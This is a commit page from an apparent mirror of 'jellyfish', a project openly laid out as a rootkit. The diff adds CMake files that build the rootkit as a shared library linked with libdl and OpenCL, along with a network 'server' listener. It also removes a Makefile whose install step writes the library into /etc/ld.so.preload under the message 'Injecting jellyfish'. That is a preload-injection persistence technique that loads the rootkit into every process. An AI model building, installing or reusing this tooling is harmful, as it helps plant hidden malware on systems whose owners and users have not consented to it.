Projects STRLCPY jellyfish Commits 121d3e65
🤬
  • ■ ■ ■ ■ ■ ■
    .gitignore
     1 +CMakeCache.txt
     2 +CMakeFiles
     3 +Makefile
     4 +cmake_install.cmake
     5 +install_manifest.txt
     6 +*.so
     7 +build/server
  • ■ ■ ■ ■ ■ ■
    build/CMakeLists.txt
     1 +cmake_minimum_required(VERSION 3.2)
     2 + 
     3 +set(KIT_HEADER_DIR ../rootkit)
     4 +set(KIT_SOURCE_DIR ../rootkit)
     5 + 
     6 +include(OpenCL.cmake)
     7 + 
     8 +include_directories(${KIT_HEADER_DIR})
     9 + 
     10 + 
     11 +set(KIT_HEADERS
     12 + ${KIT_HEADER_DIR}/jelly.h
     13 + ${KIT_HEADER_DIR}/kit.h
     14 + ${KIT_HEADER_DIR}/pcap.h
     15 + ${KIT_HEADER_DIR}/packet.h
     16 + ${KIT_HEADER_DIR}
     17 +)
     18 +set(KIT_SOURCES ${KIT_SOURCE_DIR}/kit.c)
     19 + 
     20 +add_library(jellyfish SHARED ${KIT_HEADERS} ${KIT_SOURCES})
     21 +target_link_libraries(jellyfish c dl OpenCL)
     22 + 
     23 +set(SERVER_HEADER_DIR ../server)
     24 +set(SERVER_SOURCE_DIR ../server)
     25 + 
     26 +set(SERVER_SOURCES ${SERVER_SOURCE_DIR}/listen.c)
     27 +set(SERVER_HEADERS)
     28 + 
     29 +add_executable(server ${SERVER_HEADERS} ${SERVER_SOURCES})
     30 +target_link_libraries(server c)
  • ■ ■ ■ ■ ■ ■
    build/OpenCL.cmake
     1 +set(arch 32)
     2 +if(CMAKE_SIZEOF_VOID_P EQUAL 8)
     3 + set(arch 64)
     4 +endif()
     5 + 
     6 +if (DEFINED ENV{AMDAPPSDKROOT})
     7 + include_directories($ENV{AMDAPPSDKROOT}/include)
     8 + if (arch EQUAL 32)
     9 + link_directories($ENV{AMDAPPSDKROOT}/lib/x86)
     10 + elseif (arch EQUAL 64)
     11 + link_directories($ENV{AMDAPPSDKROOT}/lib/x86_64)
     12 + endif()
     13 +endif()
     14 + 
     15 +if (DEFINED ENV{CUDA})
     16 + include_directories($ENV{CUDA}/OpenCL/common/inc)
     17 +endif()
  • ■ ■ ■ ■ ■ ■
    rootkit/Makefile
    1  -INSTALL=/lib
    2  - 
    3  -CC=gcc
    4  - 
    5  -LIBS= -lc -ldl -lOpenCL
    6  - 
    7  -all: jellyfish.so
    8  - 
    9  -jellyfish.so: kit.c
    10  - $(CC) $(CFLAGS) -fPIC -g -c kit.c
    11  - $(CC) -fPIC -shared -Wl,-soname,jellyfish.so kit.o $(LIBS) -o jellyfish.so
    12  - strip jellyfish.so
    13  - 
    14  -install: all
    15  - @install -m 0755 jellyfish.so $(INSTALL)/
    16  - @echo [-] Injecting jellyfish
    17  - @echo $(INSTALL)/jellyfish.so > /etc/ld.so.preload
    18  - 
    19  -clean:
    20  - rm jellyfish.so *.o
    21  - 
Please wait...
Page is in error, reload to recover